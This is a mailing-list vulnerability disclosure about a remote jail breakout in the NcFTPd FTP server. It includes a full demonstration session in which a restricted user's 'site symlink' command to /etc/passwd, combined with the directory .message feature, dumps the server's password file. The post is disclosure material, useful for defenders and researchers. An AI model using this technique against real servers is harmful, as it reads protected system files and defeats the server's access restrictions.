full-disclosure - Re: NcFTPd <= 2.8.5 remote jail breakout

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Date: Mon, 27 Jul 2009 21:50:10 +0200
From: Kingcope <kcope2@...glemail.com>
To: bugtraq@...urityfocus.com, full-disclosure@...ts.grok.org.uk
Subject: Re: NcFTPd <= 2.8.5 remote jail breakout

Hello list.
Just to clarify the NcFTPd vulnerability affects all operating systems
that NcFTPd runs on,
not just FreeBSD.

Cheers,

kcope



2009/7/27 Kingcope <kcope2@...glemail.com>:
> NcFTPd <= 2.8.5 remote jail breakout
>
> Discovered by:
>        Kingcope
>        Contact: kcope2<at>googlemail.com / http://isowarez.de
>
> Date:
>        27th July 2009
>
> Greetings:
>        Alex,Andi,Adize,wY!,Netspy,Revoguard
>
> Prerequisites:
>        Valid user account.
>
> Demonstration on FreeBSD 7.0-RELEASE and NcFTPd 2.8.5 (latest version):
>
> # ftp 192.168.2.5
> Connected to 192.168.2.5.
> 220 localhost NcFTPd Server (unregistered copy) ready.
> Name (192.168.2.5:root): kcope
> 331 User kcope okay, need password.
> Password:
> 230-You are user #1 of 50 simultaneous users allowed.
> 230-
> 230 Restricted user logged in.
> Remote system type is UNIX.
> Using binary mode to transfer files.
> ftp> get /etc/passwd passwd
> local: passwd remote: /etc/passwd
> 502 Unimplemented command.
> 227 Entering Passive Mode (192,168,2,5,219,171)
> 550 No such file.
> ftp> ls ..
> 227 Entering Passive Mode (192,168,2,5,218,102)
> 553 Permission denied.
> ftp> mkdir isowarez
> 257 "/isowarez" directory created.
> ftp> quote site symlink /etc/passwd isowarez/.message
> 250 Symlinked.
> ftp> cd isowarez
> 250-"/isowarez" is new cwd.
> 250-
> 250-# $FreeBSD: src/etc/master.passwd,v 1.40 2005/06/06 20:19:56 brooks Exp $
> 250-#
> 250-root:*:0:0:Charlie &:/root:/bin/sh
> 250-toor:*:0:0:Bourne-again Superuser:/root:
> 250-daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin
> 250-operator:*:2:5:System &:/:/usr/sbin/nologin
> 250-bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin
> 250-tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin
> 250-kmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologin
> 250-games:*:7:13:Games pseudo-user:/usr/games:/usr/sbin/nologin
> 250-news:*:8:8:News Subsystem:/:/usr/sbin/nologin
> 250-man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin
> 250-sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin
> 250-smmsp:*:25:25:Sendmail Submission
> User:/var/spool/clientmqueue:/usr/sbin/nologin
> 250-mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin
> 250-bind:*:53:53:Bind Sandbox:/:/usr/sbin/nologin
> 250-proxy:*:62:62:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin
> 250-_pflogd:*:64:64:pflogd privsep user:/var/empty:/usr/sbin/nologin
> 250-_dhcp:*:65:65:dhcp programs:/var/empty:/usr/sbin/nologin
> 250-uucp:*:66:66:UUCP
> pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico
> 250-pop:*:68:6:Post Office Owner:/nonexistent:/usr/sbin/nologin
> 250-www:*:80:80:World Wide Web Owner:/nonexistent:/usr/sbin/nologin
> 250-nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin
> 250-kcope:*:1001:1001:User kcope:/home/kcope:/bin/csh
> 250-messagebus:*:556:556:D-BUS Daemon User:/nonexistent:/sbin/nologin
> 250-polkit:*:562:562:PolicyKit Daemon User:/nonexistent:/sbin/nologin
> 250-haldaemon:*:560:560:HAL Daemon User:/nonexistent:/sbin/nologin
> 250-ftp:*:1002:14:User &:/home/ftp:/bin/sh
> 250-cyrus:*:60:60:the cyrus mail server:/usr/local/cyrus:/bin/csh
> 250-postfix:*:125:125:Postfix Mail System:/var/spool/postfix:/usr/sbin/nologin
> 250-test:*:1003:1003:test:/home/test:/bin/sh
> 250-+testx:*:::::/bin/sh
> 250
> ftp>
>
> +on freebsd you can symlink directories like ´/´
>
> Cheerio,
>
> Kingcope
>

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